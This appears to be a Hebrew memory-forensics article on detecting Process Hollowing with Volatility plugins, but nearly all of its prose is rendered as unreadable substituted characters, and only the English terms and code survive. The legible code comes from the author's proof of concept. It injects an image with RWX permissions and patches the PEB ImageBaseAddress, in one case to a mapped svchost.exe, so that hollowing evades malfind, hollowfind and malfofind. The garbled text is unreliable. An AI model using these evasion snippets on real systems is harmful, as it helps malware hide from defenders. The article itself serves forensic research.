˸ˣ˞˷˶ˢ˟ ) ˢ˴˶ˢˣ ˢ˟˧˸˩ ,ˢ˞˧˶˵READWRITE_EXECUTEˢ ˪˷ ˸˟ˣ˸˩ˢ ˢ˸ˣ˞˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ .(-

ImageBaseAddress .ˢ˷ˡ˥ ˸˟ˣ˸˩˟ ˣ˞ 

5. ˢ ˪˷ ˢ˵˸˰ˢ-PE 4Header  ˨ˣ˸˟ ˷ˡ˥ˢ ˢ˲ˣˬˬˢ ˭ˣ˶˩˧ˤˢ ˨ˣ˸˪ ˧ˮˣˡˤˢ ˨˧˪ˢ˸ˢ ˪˷lsass.exe. 

6. ˢˬ ˡ˥˞ ˪˩ ˪˷ ˢ˵˸˰ˢ-Sections  ˢ˩˪ˢ˩ ˧˪˞ˣ˦˶˧ˣ ˭ˣ˶˩ˤ ˨ˣ˸ ˪˞ ˧ˮˣˡˤˢ ˳˟ˣ˵ˢ ˪˷ ˨ˣ˸˟lsass.exe. 

7. ˢ ˪˷ ˢ˪˥˸ˢˢ ˸˟ˣ˸˩ ˪˷ ˢˬ˷ˢ-Main Thread  ˪˷ ˢ˯˧ˮ˩ˢ ˸ˡˣ˵ˮ˪ (ˢ˧˧ˢ˷ˢ ˟˴ˬ˟ ˪˥˸ˣˢ˷ ˢˤ)

.(˳ˣ˶˧˷ ˫˧˴ˣ˶ ˣˮ˥ˮ˞ˣ ,ˣˮ˵˶ˤˢ ˣ˸ˣ˞ ˡˣ˵ˢ ˞˴ˬˮ ˣ˟ ˫ˣ˵ˬ˪) ˧ˮˣˡˤˢ ˨˧˪ˢ˸ˢ 

8. ˢ ˪˷ ˢ˪˥˸ˢ-Threadˢ ˸˲˦˰ˬ ˸˥˸ ˳ˣ˶˪ ˪˧˥˸ˬ ˧ˮˣˡˤˢ ˨˧˪ˢ˸ˢ ,ˣˤ ˢˡˣ˵ˮ˟ .-lsass.exeˢ .-

ImagePathName ˢ ˢˮ˟ˬ ˨ˣ˸˟-PEB ˪ ˰˧˟˴ˬ ˭˧˧ˡ˰-lsass.exe. 

                                                           
 

1
 PEB ς Process Environment Block  

2
 IBA ς Image Base Address 

3
 DLL ς Dynamic Link Library 

4
 PE ς Portable Executable 
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˸ˣ˴ˣ˲ˮ ˧ˣˢ˧ˤ ˸ˣ˦˧˷ 

 ˸ˣˢˤ˪ ˪˩ˣˮ .˫˧ˮˣ˷ ˫˧˪˩ ˨˶ˡ ˸ˣ˟˶ ˫˧˩˶ˡ ˞ˣ˴ˬ˪ ˪˩ˣˮ ,˸ˣˮˣ˷ ˸ˣ˲˵˸ˬ˪ ˧ˣˢ˧ˤ ˸ˣ˦˧˷ ˪˰ ˫˧˶˟ˡˬ ˶˷˞˩

ˢ ˸˵˧ˮ˩˦ ˸˞-Process Hollowing  ˸ˣ˧˴˵ˮˣ˲ ˪˷ ˧ˣˢ˧ˤ ˨˶ˡAPI ˟ ,˫˧˧ˣ˯ˬ ˶ˣ˦˧ˮˣˬ˟ ˸ˣˮˣ˷strings-  ˪˷

ˣ ,˳˟ˣ˵ ˣ˸ˣ˞˟ ˫˧ˮˣ˷ ˫˧ˮ˟ˬ ˨˶ˡ ˭ˣ˶˩ˤ˟ ˢ˵˧ˮ˩˦ˢ ˸˞˧˴ˬ ˪˷ ˫˧˩˶ˡ˟ ˤ˩˶˸ˮ ˶ˬ˞ˬ˟ .ˡˣ˰-Windows. 

 ˸˪˧ˢ˵˟Volatility ˪ˣ ,˪˪˩˩ ˡˣ˵ ˸ˣ˵˶ˤˢ˪ ˧ˣˢ˧ˤ ˧˪˩ ˪˷ ˶ˠ˞ˬ ˞ˣ˴ˬ˪ ˪˩ˣˮ-Process Hollowing  .˦˶˲˟

 ˸˞˧˴ˬ˪ ˸ˣ˧˶˵˰ˢ ˫˧˩˶ˡˢProcess Hollowing :˭ˢ 

1. sˢ ˪˷ ˸ˣ˞˷˶ˢ-VAD5 ˪˷ ˧ˣˢ˧ˤ ˞˧ˢ ˸˧˯˞˪˵ ˢ˷˧ˠ . ˢ˞˧˶˵,ˢ˟˧˸˩ ˪˷ ˸ˣ˞˷˶ˢ ˸˥˸ ˢ˴˵ˣˬ ˭ˣ˶˩ˤ

) ˢ˴˶ˢˣPAGE_EXECUTE_READWRITE.˸˵˲˯ˬ ˞˧ˢ˷ ˞ˣˣ˷ˢ ˸ˣ˞˶˸ˢ ˪˩ ˟˵˰ ˢ˯ˠ ˡˣ˞ˬ ˢ˷˧ˠ ˣˤ .( 

2. ˢ ˭˧˟ ˢ˞ˣˣ˷ˢ-ImageBaseAddress ˷˟ ˸˞˴ˬˮ-PEB  ˢ ˭˧˟˪-VAD-˫˧ .˨˧˪ˢ˸ˢ ˪˷ 

.˞ s-ImageBaseAddress  ˪˞ ˰˧˟˴ˢ˪ ˟˧˧˥VAD  ˫˰File Object. 

.˟  ˫˷ ˭˧˟ ˢ˞ˣˣ˷ˢ˟ ˞˴ˬˮˢ ˳˟ˣ˵ˢ-PEB  ˟ ˟ˣ˸˩ˢ ˳˟ˣ˵ˢ ˫˷ ˭˧˟˪-VAD ˢ ˣ˧˪˞˷-IBA .˰˧˟˴ˬ 

3. ˢ ˭˧˟ ˢ˞ˣˣ˷ˢ-LDR Lists6 ˟ ˞˴ˬˮˢ ˰ˡ˧ˬˢ ˭˧˟˪-VAD. 

 

˸ˣ˴ˣ˲ˮˢ ˧ˣˢ˧ˤˢ ˸ˣ˦˧˷ ˸˲˧˵˰ 

 ˰˴˟˪ ˣˮ˥˪˴ˢ ,˫˧ˬ˧˧˵ ˫˧ˮ˧ˠ˞˪˲ ˪˷ ˢˮ˧˥˟ ˶˥˞˪Process Hollowing ˱˷˥˧ˢ˪ ˧˪˟ˬ .ˢ ˨˪ˢˬ˟-PoC7 

˥˞ ˪˩ ˪˷ ˱˵˰ˬ ˠ˧˴ˮ ,˞˟ˢ ˸ ˸ˣ˵˧ˮ˩˦ˢˬ ˸˥˞ ˱˞ ˧˩ ˭˧˧˴˪ ˷˧ .˫ˡˣ˵ˢ ˵˪˥˟ ˣ˶˩ˤˣˢ ˶˷˞ ˸ˣ˵˧ˮ˩˦ˢˬ

 ˸ˣ˞˷˶ˢ ˣ˷˶ˡ ˞˪ ˣˮ˷ˬ˸˷ˢ ˭ˢ˟Kernel. 

˟ ˸ˣ˞˷˶ˢˢ ˧ˣˮ˧˷-VAD 

˟ ˸ˣ˞˴ˬˮˢ ˸ˣ˞˷˶ˢˢ-VAD ˢ ˭˸˧˞ ˸ˣ˞˷˶ˢˢ ˭ˢ-VAD .˶˴ˣˮ ˢ ˸ˣ˶˴ˣˣ˧ˢ ˶˥˞˪ ˫˞ ,˶ˬˣ˪˩-VAD 

 ˸˧˧˴˵ˮˣ˲ ˸˶ˤ˰˟ ˢˬˠˣˡ˪) ˣˮ˸˷˧ ˣ˧˸ˣ˞˷˶ˢVirtualProtect (˟ ˣˮ˩ˡ˰˸˧ ˞˪ ˸ˣ˞˷˶ˢˢ-VAD  ˫ˠ ˨˩)

 ˶˲˯˟ ˶˞ˣ˸ˬThe Art of Memory Forensics .( 

 ˢˤ ˟˴ˬ˟ .˭˩ˬ ˶˥˞˪ ˵˶ ˢ˴˶ˢˢ ˸˞ ˱˧˯ˣˢ˪ ,ˢ˟˧˸˩ˣ ˢ˞˧˶˵ ˪˷ ˸ˣ˞˷˶ˢ˟ ˭ˣ˶˩˧ˤ ˸ˣ˲ˬ˪ ˪˩ˣˮ ,ˢ˷˰ˬ˪

 ˪˰ ˪˩˸˯ˬ ˞ˣˢ˷ ˟˴ˬ˟ ˣˬ˴˰ ˸˞ ˞˴ˬ˧ ˶˵ˣ˥ˢVAD  ,˪˰ˣ˲˟ ˶˷˞˩ ˢ˟˧˸˩ˣ ,ˢ˞˧˶˵ ˪˷ ˸ˣ˞˷˶ˢ ˫˰

˞˷˶ˢ ˫ˠ ˸ˣˬ˧˧˵.ˢ˴˶ˢ ˸ˣ 

                                                           
 

5 VAD - Virtual Address Descriptor 
6  LDR - ˟ ˞˴ˬˮˢ ˫˧ˮˣ˸ˮ ˢˮ˟ˬ˪ ˰˧˟˴ˬ-PEB  ˫˷˟_PEB_LDR_DATA ˢ ˧˟ˠ˪ ˰ˡ˧ˬ ˪˧˩ˬ˷--DLL.˨˧˪ˢ˸˟ ˫˧ˮˣ˰˦ˢ ˫˧ 
7  PoC - Proof Of Concept ï ˧ˠˡˢ˪ ˸ˮˬ ˪˰˟ ˷ˣˬ˧˷ˢ ˸˞ ˫-Process Hollowing ˟ ˦˵˧ˣ˶˲˟ ˣˮ˶ˤ˰ˮ-GitHub  :˟ ˞˴ˬˮ˷ 

https://github.com/m0n0ph1/Process-Hollowing  
˪ ˨˧˧˷ ˦˵˧ˣ˶˲ˢ ˧˩ ˭˧˧˴˪ ˫˧˴ˣ˶ ˣˮ˥ˮ˞-m0n0ph1 ˢ ˨˪ˢˬ˟ .ˣ˧˸ˣ˧ˣ˩ˤ ˪˰-POC  ˸˞ ˫˧˲˵ˣ˰ ˣˮ˥ˮ˞ ˡ˴˧˩ ˫˧ˠˡˢ˪ ˸ˮˬ ˪˰ ˣˮ˪˷ ˡˣ˵ ˧˰˦˵ ˣˮ˲˯ˣˢ

 .˸ˣˬˠˡˢ˟ˣ ˦˵˧ˣ˶˲˟ ˧ˮˣˡˤ ˷ˣˬ˧˷ ˪˩ ˪˰ ˸ˣ˧˶˥˞ ˫˧˥˵ˣ˪ ˞˪ ˣˮ˥ˮ˞ˣ ˸ˣ˧ˡˣˬ˧˪ ˸ˣ˶˦ˬ˪ ˢ˷˰ˮ ˷ˣˬ˧˷ˢ .˫ˣ˧ˢ ˪˷ ˧ˣˢ˧ˤˢ ˸ˣ˦˧˷ 

https://github.com/m0n0ph1/Process-Hollowing
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] ˢˮˣˬ˸1-1 ˪˷ ˦˪˲ˢ ˨ˣ˸˧˥ ,malfind ˟-Volatility ˢ ˪˰-KSLSample.vmem8[ 

 ˠ˴˧ˬ ˪˰ ˪˩˸˯ˮ ˫˞1-1 ˟ ˸ˣˮˣ˷ ˸ˣ˧˪ˬˣˮ˞ ˞ˣ˴ˬ˪ ˪˩ˣˮ-VAD: 

¶ ) ˢ˴˶ˢ ˳˟ˣ˵ ˪˷ ˢ˟˧˸˩˪ ˸ˣˡ˰ ˸ˬ˧˧˵PEˢ ˸ˣ˞˴ˬ˧ˢ ˧"˰ (-magic number - MZ  

¶ ˢ ˪˰ ˸ˣ˞˷˶ˢˢ-VAD ˩ ˸ˣˮˬˣ˯ˬ- PAGE_EXECUTE_READWRITE 

¶  ˶ˡ˰˧ˢ ˭˧˟˪ ,˭ˣ˰˦ ˢ˴˶ˢ ˳˟ˣ˵ ˭˧˟ ˸ˣˬ˧˞˸ ˶˯ˣ˥File Object 

 ˨˧˪ˢ˸ˢSvchost.exe ˢ ˫˰-PID :2640˪ ˭ˣ˸ˮ ˢ˧ˢ ,-Process Hollowing˸ˣ˵˧ˡ˟ˢ ˸˞ ˣˮ˟ˢ ˶˷˞˩ . 

-˷malfind ˢ ˪˷ ˸ˣ˞˷˶ˢˢˢ ˪˷ ˢ˵˧ˡ˟) ˰˴˟ˬ-VAD:˫˧˟˪˷ ˶˸ˣ˧˪ ˭ˣ˶˩˧ˤˢ ˪˷ ˢ˞˴˵ˢˢ ˸˞ ˣˮ˵˪˧˥ ,( 

¶ ˢ ˟˥˶ˬ ˨ˣ˸˟ ˭ˣ˶˩˧ˤ ˪˷ ˢ˞˴˵ˢ˴˶ˢ ˸ˣ˞˷˶ˢ ˞˪˪ ˨˧˪ˢ˸ˢ ˪˷ ˸ˣ˟ˣ˸˩ ˪˷ˬ˪) ,ˢ

PAGE_READWRITE ˟-PoC .(ˣˮ˰˴˧˟˷ 

¶ ˢ˴˵ˣˬˢ ˭ˣ˶˩ˤ˟ ˳˟ˣ˵ˢ ˪˷ ˢ˟˧˸˩ 

¶ .ˢ˴˵ˣˬˢ ˭ˣ˶˩ˤˢ ˟˥˶ˬ˟ ˢ˴˶ˢ ˸ˣ˶˷˲˞ ˪˷ ˢ˲˯ˣˢ 

¶ ˵˶ˤˣˬˢ ˡˣ˵ˢ ˪˷ ˢ˴˶ˢ 

    PVOID pRemoteImage = VirtualAllocEx (  

        pProcessInfo - >hPr ocess ,  

        pPEB- >ImageBaseAddress ,  

        pSourceHeaders - >OptionalHeader . SizeOfImage ,  

        MEM_COMMIT |  MEM_RESERVE,  

        PAGE_READWRITE 

    );  

    DWORD old = 0 ;  

    VirtualProtectEx (  

        pProcessInfo - >hProcess ,  

        pRemoteImage ,  

        pSourceHeaders - >OptionalHeader . SizeOfImage ,  

        PAGE_EXECUTE_READWRITE,  

        &old  

    );  

 ˪˷ ˶ˣ˵ˬˢ ˡˣ˵˪ ˣˮ˪˷ ˸ˣ˲˯ˣ˸˪ ˢ˴˴ˢ ˞ˣˢ ˪˧˰˪ ˠ˴ˣˬˢ ˡˣ˵ˢProcessHollowing.exe.  ,ˣˤ ˸˲˯ˣ˸ ˸˶ˤ˰˟

˸ˢ˪ ˣˮ˥˪˴ˢ˥ˬˬ ˵-malfind. 

                                                           
 

8
 KSLSample.vmem - Memory Dump  ˪˷Windows 7 64bit ˢ .˶ˬ˞ˬˢ ˸˟ˣ˦˪ ˣˮ˩ˢ˷-Memory Dump  ˪˧˩ˬ ˶˞˷ˢ ˭˧˟5  ˪˷ ˫˧˩˧˪ˢ˸

svchost.exe  ˣˮ˰˴˧˟ ˫ˢ˧˪˰Process Hollowing  .˸ˣˬˠˡˢ˪ ˸ˣˮˣ˷ ˸ˣ˦˧˷˟ 
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 ,ˡˣ˵˟ ˧ˣˮ˧˷ˢ ˶˥˞˪ ,˶ˣˬ˞˩malfind ˢ ˸˵˧ˮ˩˦ ˢ˰˴ˣ˟ ˣ˟˷ ˨˧˪ˢ˸˪ ˢˡˣ˷˥ ˸ˣ˪˧˰˲ ˫ˣ˷ ˞˴ˣˬ ˞˪-

Process Hollowing  ˫˰ ˨˧˪ˢ˸ˢ)PID :2784  ˢ˵˧ˡ˟ˬ ˵ˬ˥˸ˢ˪ ˣˮ˥˪˴ˢ ˫ˮˬ˞ .(˱˶ˣ˴ˬˢ ˭ˣ˶˩˧ˤˢ ˳˟ˣ˵˟

.˫˧˧˸ˮ˧˟ ˣˮ˸ˣ˞ ˯ˣ˲˸˪ ˫˧˪ˣ˩˧˷ ˫˧˲˯ˣˮ ˫˧ˮ˧ˠ˞˪˲ ˫˧ˬ˧˧˵ ˨˞ ,˸˥˞ 

ˢ ˭˧˟ ˢ˞ˣˣ˷ˢ-PEB ˪-VAD 

-sIBA ˰˧˟˴ˬ  ˳˟ˣ˵˪ˢ˴˶ˢˢ ) ˭ˣ˟˷˥ˬ ˪˷ ˫ˣ˷˧˧ ˥˸˲ˮ ˫˞ ˶ˬˣ˪˩ ,˨˧˪ˢ˸ˢ ˪˷ ˭ˣ˰˦ˢcalc.exe ˳˟ˣ˵ˢ (

 ˪˷ ˢ˪˰˲ˢˢ ˸˩˶˰ˬ˟ ˢ˴˶ˢˢ ˨˧˪ˢ˸ ˸˶ˠ˯ˬ˟) ˭ˣ˶˩˧ˤ˪ ˭˰˦˧ ˣˬ˴˰Windowsˢ .(-IBA  ˶ˣˤ˧˞˪ ˰˧˟˴˧

 ˭ˣ˰˦ ˣ˟ ˭ˣ˶˩˧ˤ˟calc.exe˟ ˢ˟ˣˠ˸ ˣˤˢ ˭ˣ˶˩˧ˤˢ ˰˦˵ ˸˞˴˵ˢ ,ˢ˪˰˲ˢˢ ˸˩˶˰ˬ ˸ˮ˧˥˟ˬ .-VAD  ˫˰File 

Object ˦ ˳˟ˣ˵ˢ ˭˩˷ ˱˯ˣˮ˟ .˫˷ ˭ˣ˰-sVAD Type  ˢ˧ˢ˧Image File. 

 ˰˴˟˸ˬ˷ ˰ˠ˶˟ ."˸ˣ˧ˢ˪ ˶ˣˬ˞ ˢˬ" ˢ˶˴˵˟ ˣˮ˶˞˧˸ ˭˞˩ ˡ˰Process Hollowing  ˢ˴˶ˢ˪ ˡ˰ˣ˧ˬˢ ˵˪˥ˢ

 ˟˪˷ ˧˲˪) ˭ˣ˶˩˧ˤˢˬ ˶˯ˣˬ (˭ˣ˰˦ˢ ˢ˴˶ˢˢ ˳˟ˣ˵ ˶ˣˬ˞˩)3  ˪˷ ˶ˣ˞˧˸˟Process Hollowing ˧ˣ˲˧ˬ ˰˴˟˸ˬˣ (

ˢ ˧ˣˮ˧˷ˣ ˧ˮˣˡˤˢ ˡˣ˵˪ ˷ˡ˥-IBA ˢ ˶ˣˤ˧˞˪ ˢ˲ˣˬ ˣ˧˪˞ ˷ˡ˥˟ ˟˪˷) ˭ˣ˶˩˧ˤ4  ˪˷ ˶ˣ˞˧˸˟Process 

Hollowing ˶˴ˣˮ ˨˩ˬ ˢ˞˴ˣ˸˩ˣ ˳˟ˣ˵˟ ˢ˟ˣˠˬ ˞˪ ˡˣ˵ˢ .(VAD ˞˪˪ File Object ˶ˣˤ˰˪ ˢ˪ˣ˩˧ ˣˤˢ ˢ˶˧˸˯ˢ .

 ˪˷ ˸ˣ˵˧ˡ˟ˢ ˸˥˞ .˭˧˵˸ ˞˪ ˣˢ˷ˬ ˭˞˩ ˷˧˷ ˸ˣ˞˶˪ ˫˧˶˵ˣ˥˪hollowfind  ˸˞ ˵ˣ˧ˡ˟ ˞ˣ˴ˬ˪ ˞ˣˢ ˰˴˟ˬ

 ˪˷ ˢˬ˞˸ˢˢ ˶˯ˣ˥IBA ˪ ˰˧˴˟ˬˢ-VAD ˟ ˢ˟ˣˠˬ ˞˪˷-File Object. 

 

] ˢˮˣˬ˸1-2 ˦˪˲ˢ ˪˷ ˨ˣ˸˧˥ ,hollowfind ˟-volatility  ˪˰[KSLSample.vmem 

 ˢˮˣˬ˸1-2  ˪˷ ˦˪˲ˢ ˸˞ ˢˠ˧˴ˬhollowfind  ˨˧˪ˢ˸ ˪˰PID :2784  ˸ˬˡˣ˵ˢ ˢˬˠˡˢ˟ ˣˮ˧˧˴˷ ˨˧˪ˢ˸ˢ)

ˬ ˵ˬ˥˸ˢ˪ ˥˧˪˴ˢ˷-malfind .(Hollowfind ˢ˷ ˭ˣˣ˧˩ˬ ,ˡˣ˷˥˩ ˢˤˢ ˨˧˪ˢ˸ˢ ˸˞ ˶˸˞˪ ˥˧˪˴ˢ-IBA 

˪ ˰˧˟˴ˬ-VAD ˟ ˢ˟ˣˠˬ ˞˪˷-File Object .ˢ ˪˷ ˸ˣ˞˷˶ˢˢ˷ ˭˧˥˟ˢ˪ ˫ˠ ˭˸˧ˮ-VAD  ˭ˢ

PAGE_READWRITE ˪ ˣˮˣ˷ ˭ˢ˷ ˸ˣ˶ˬ˪-PAGE_EXECUTE_READWRITEˢ˷ ˫ˣ˵ˬ˟ .-IBA  ˰˦˵ ˪˰ ˰˧˟˴˧

 ˫˰ ˨˧˪ˢ˸ˢ ˪˷ ˭ˣ˶˩˧ˤ˟ ˶˥˞ ˶ˣˤ˧˞˪ ˣ˸ˣ˞ ˸ˣˮ˷˪ ˢ˴˶ˮ ˣˮ˟˸˩˷ ˧ˮˣˡˤˢ ˡˣ˵ˢFile Object ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ .

ˢ ˸˞ ˸ˣˮ˷˪-IBA ˢ˷ ˰ˠ˶˟˷ ˭ˣˣ˧˩ˬ ,˨˧˪ˢ˸ˢ ˪˷ ˢ˴˧˶˟ ˰ˣˠ˲˪ ˧˪˟ˬ-Main Thread  ˷ˣˬ˧˷ ˭˧˞ ˳ˣ˶˪ ˶ˤˣ˥
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ˢ ˸˞ ˸ˣˮ˷˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞˷ ˢ˧ˮ˷ˢ ˢ˟˧˯ˢ .˶˸ˣ˧ ˣ˟-IBA ˸ˣ˪˵ ˣˤ˩˟ ˢ˷ ˞˧ˢ-IBA ˢˬ ˵˪˥˩)-PEB ˞˴ˬˮ (

 ˭ˣ˶˩˧ˤ˟User-mode ˣˮ˷˲ˮ ˸ˣˣ˞˩ ˸ˣ˷˰˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˨˧˪ˢ˸˟ ˫˧˧ˣˮ˧˷ ˰˴˟˪ ˸ˣ˞˷˶ˢ ˣˮ˪ ˷˧ ˫˞˷ ˨˩ ,

 .(ˣˮ˪ ˨˧˧˷ˢ ˭ˣ˶˩˧ˤˢ ˶ˣˤ˧˞ ˪˰ ˫˧˧ˣˮ˧˷ ˰˴˟˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ˤ˞ "˨˧˪ˢ˸ˢ" ˣˮ˥ˮ˞ ,ˢˤˢ ˢ˶˵ˬ˟) 

    LONG_PTR ldr_addr ;  

    PPEB_LDR_DATA ldr_dat a;  

    PLDR_MODULE LdMod;  

    DWORD * bad_address ;  

     

     

    __asm mov eax ,  fs :[ 0x30 ]   //get the PEB ADDR -  32 bit     

        __asm add eax ,  0xc  

    __asm mov eax ,  [ eax ]  // get LoaderData ADDR     

        __asm mov ldr_addr ,  eax  

 

 

    ldr_data = ( PPEB_LDR_DATA) ldr_addr ;  

    LdMod = ( PLDR_MODULE) ldr_data - >InLoadOrderModuleList . Flink - >Flink ;  

// get the second dll that is load ed 

    bad_address = ( DWORD*)  LdMod- >BaseAddress ;  

 

    __asm mov eax ,  gs :[ 0x60 ]  // using the GS register to get to the peb  

    __asm add eax ,  0x10  // get the image base address  

    __asm mov edx ,  bad_address  

    __asm mov [ eax ],  edx // change IBA  

ˢ ˪˷ ˸ˣˬ˧˷˶ˢ ˸˥˞ˬ ˣˮ˞˴ˣˢ ˶˞ˣ˸ˬˢ ˡˣ˵ ˰˦˵˟-LDR )InLoadOrderModuleList -  ˢ˪˧˩ˬˢ ˢˬ˧˷˶ˢ

ˢ ˸˞-DLL-˫˧ ) ˰˧˟˴ˬˢ ˸˞ (˭ˣ˶˩˧ˤ˟ ˫ˢ˪˷ ˢˮ˧˰˦ˢ ˶ˡ˯˟Pointerˢ ˡ˥˞˪ (-DLL-˫˧ ˣˮ˧ˮ˧˷ ˭˩ˬ ˶˥˞˪ .

ˢ  ˪˷ ˨˶˰ˢ ˸˞-IBA  ˣ˸ˣ˞˪ ˰˧˟˴˧˷DLL . 

ˬ ˫˧˧ˣ˟˥ ˶˞˷˧ˢ˪ ˣˮ˥˪˴ˢ ˡˣ˵˟ ˪"ˮˢ ˧ˣˮ˧˷ˢ ˸˞ ˣˮ˟˪˧˷˷ ˧˶˥˞-hollowfind ˭˧˧ˡ˰ ˨˞ ,malfofind  ˥˧˪˴ˢ

 .ˣˮ˸ˣ˞ ˞ˣ˴ˬ˪ 

 

] ˢˮˣˬ˸1-3 ˪˷ ˦˪˲ˢ ˨ˣ˸˧˥ ,malfofind ˟-Volatility  ˪˰[KSLSample.vmem 

˲˪ ˢˮˣˬ˸ ˧1-3 ˨˧˪ˢ˸ˢ ,PID :2220  ˧"˰ ˡˣ˷˥ ˞˴ˬˮmalfofind ˟˧˸ˮˢ ˭˧˟ ˸ˣˬ˧˞˸ ˶˯ˣ˥ ˸ˬ˧˧˵˷ ˭ˣˣ˧˩ˬ ,

ˢ˲ˣˬˬ ˸ˣ˧ˢ˪ ˶ˣˬ˞˷ ˳˟ˣ˵ˢ ˪˷ ˞˪ˬˢ, ˢ˷ ˳˟ˣ˵ˢ ˭˧˟˪-IBA ˢ˷ ˫ˠ ˵˧˯ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞) ˣ˧˪˞ ˰˧˟˴ˬ-

DLL  ˞ˣˢ ˢ˰˟˴ˢˢ ˸˞ ˣˮ˧ˮ˧˷ ˣ˧˪˞ntdll.dll .(malfofind ˬ ˞˪ˬˢ ˟˧˸ˮˢ ˸˞ ˠ˧˷ˬ-ProcessParameters 

ˢˬ ˵˪˥ ˞ˣˢ ˫ˠ)-PEB ˟ ˞˴ˬˮ˷-User-mode ˢˬ ˳˟ˣ˵ˢ ˪˷ ˞˪ˬˢ ˟˧˸ˮ˪ ˣ˸ˣ˞ ˢˣˣ˷ˬˣ (ˢ˩˧˶˰˪ ˭ˣ˸ˮˣ-

File Object ˢ ˪˷-VAD ˢ ˰˧˟˴ˬ ˣ˧˪˞-IBA. 
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) ˢ˴˶ˢ ˳˟ˣ˵ ˧ˣ˲˧ˬImage File ( 

˸˧ˮ˷ ˫˧˩˶ˡˢ ˸˥˞˸ˣˮ ˟˪˧x˴ ˧˶ˣ˵ˬˢ ˳˟ˣ˵ˢ ˸˞ ˸ˣ˲ˬ˪ ˞˧ˢ ˫˧˟˧˸ˮˢ ˭˧˟ ˢ˞ˣˣ˷ˢˢˬ ˵ˬ˥˸ˢ˪ ˸ˮˬ ˪˰ ˰

 ˣˮ˪˷ ˢ˶˵ˬ˟)svchost.exeˢ ˸˞ ˸ˣˮ˷˪ ˭˩ˬ ˶˥˞˪ˣ ˨˧˪ˢ˸ˢ ˪˷ ˭ˣ˶˩˧ˤˢ ˟˥˶ˬ˟ ˷ˡ˥ˬ (-IBA ˣ˧˪˞.  ˨˩

 ˪˷ ˢˡ˷˥ˢˣ "˸ˣ˪˧˪˲ˬ ˸ˣˬ˧˸˥" ˫ˣˬ˧ˮ˧ˬ˪ ˫˧˲˞ˣ˷ ˣˮ˥ˮ˞ˢ .˨˧˪ˢ˸ 

hFile = CreateFile ( "C: \ \ Windows \ \ SysWOW64\ \ svchost.exe" ,  GENERIC_READ,  

FILE_SHARE_READ,  NULL,  OPEN_EXISTING,  0,  NULL);  

hMap = CreateFileMapping ( hFile ,  NULL,  PAGE_READONLY,  0,  0,  NULL);  

LPVOID dw ;  

dw = MapViewOfFile ( hMap,  FILE_MAP_READ,  0,  0,  0);  //map the svchost file  

VirtualLock ( dw,  sizeof (& dw));  // make sure that it won't be paged  

 

LONG_PTR ldr_addr ;  

PPEB_LDR_DATA ldr_data ;  

PLDR_MODULE LdMod;  

DWORD * bad_address = ( DWORD *) dw;  

 

__asm mov eax ,  gs :[ 0x60 ]  // using the GS register to get to the peb  

    __asm add eax ,  0x10  // get the image base address  

__asm mov edx ,  bad_address  

__asm mov [ eax ],  edx // change IBA  

 
 ˸˶ˤ˰˟ ˳˟ˣ˵ ˣˮ˧˲˧ˬ ,˭˞˩ ˶˞ˣ˸ˬˢ ˡˣ˵ˢ ˰˦˵˟CreateFileMapping x-MapViewOfFile  ˶ˣ˴˧˪ ˸ˮˬ ˪˰

VAD ˟ ˢ˟ˣˠˬ ˢ˧ˢ˧˷-File Objectˣˠ˟ ˭ˣ˶˩˧ˤ˪ ˢ˞˴˵ˢ ˰˴˟˪ ˦ˣ˷˲ ˶˷˞ˬ ˢˮˣ˷ ˭˟ˣˬ˩ ˢˤ . ,˳˟ˣ˵ˢ ˪ˡ

 ˢ˞˶ˮ ˢˤ ˢ˶˵ˬ˟) ˣˮ˴˵ˢ˷ ˭ˣ˶˩˧ˤˢ ˶ˣˤ˧˞˪ ˣ˸ˣ˞ ˟ˣ˸˩˪ˣ ˳˟ˣ˵ˢ ˸˞ ˣˮˬ˴˰˟ ˞ˣ˶˵˪VAD  ˞˪˪File Object 

.(˦ˣ˷˲ ˧ˣˢ˧ˤ˪ ˫˧˲ˣ˷˥ ˢ˧ˢˮˣ ˳˟ˣ˵ˢ ˪˷ ˭˩ˣ˸ˢ ˫˰ 

ˬ ˫˧˧ˣ˟˥ ˶˞˷˧ˢ˪ ˣˮ˥˪˴ˢ ˪"ˮˢ ˡˣ˵ˢ ˰˦˵ ˸˞ ˣˮ˟˪˧˷˷ ˰ˠ˶˟-malfofind, malfind x-hollowfind ˭˧˟ .

 :˞˟ˢ ˦˪˲ˢ ˞ˣˢ ˭˧˧˴˪ ˧˞ˡ˩˷ ˫˧ˮ˧˧ˮ˰ˬˢ ˫˧˶˟ˡˢ 

 

] ˢˮˣˬ˸1-4 ˪˷ ˨ˣ˸˧˥ ,ldrmodules ˟-Volatility ˟-KSLSample.vmem  ˨˧˪ˢ˸ˢ ˪˰svchost.exe PID: 2828[ 

ˢ ˪˰ ˢ˶˴˵˟ ˫˩˯ˮ ,ˣˮ˸ˣ˞ ˭˧˧ˮ˰ˬ ˦˪˲ˢ ˢˬ˪ ˶˧˟˯ˮ˷ ˧ˮ˲˪-LDRˢ .-LDR ˢˬ ˵˪˥ ˣˮ˧ˢ-PEB  ˪˧˩ˬ ˞ˣˢˣ

 :˸ˣ˶˷ˣ˵ˬ ˸ˣˬ˧˷˶ ˷ˣ˪˷ 

¶ InLoadOrderModuleList - ˢ ˧˲˪ ˸˶ˡˣ˯ˬ ˢˬ˧˷˶-DLL-˫˧  .˨˧˪ˢ˸˪ ˭˰˦˧ˢ˪ ˫˧˩˧˶˴˷ 

¶ InMemoryOrderModuleList - ˢ (˸ˣ˟ˣ˸˩ ˸ˮ˧˥˟ˬ) ˸ˣ˞˴ˬ˧ˢ ˧˲˪ ˸˶ˡˣ˯ˬ ˢˬ˧˷˶-DLL-˫˧  ˟˥˶ˬ˟

 .˨˧˪ˢ˸ˢ ˪˷ ˭ˣ˶˩˧ˤˢ 

¶ InInitializationOrderModuleList - ˢ ˸˴˶ˢ ˧˲˪ ˸˶ˡˣ˯ˬ ˢˬ˧˷˶-DLLMain ˢ ˪˷-DLL-˫˧  ˫˧ˮˣ˰˦ˢ

 ˪˩˟ ˞˪ .˨˧˪ˢ˸˟DLL ˶ˣˬ ˭˰˦ˮ˷˸˴ ˢ ˸˧˧˴˵ˮˣ˲-Main  ˸˞ ˠ˧˴˸ ˡ˧ˬ˸ ˞˪ ˣˤˢ ˢˬ˧˷˶ˢ˷ ˨˩ ,ˣ˪˷

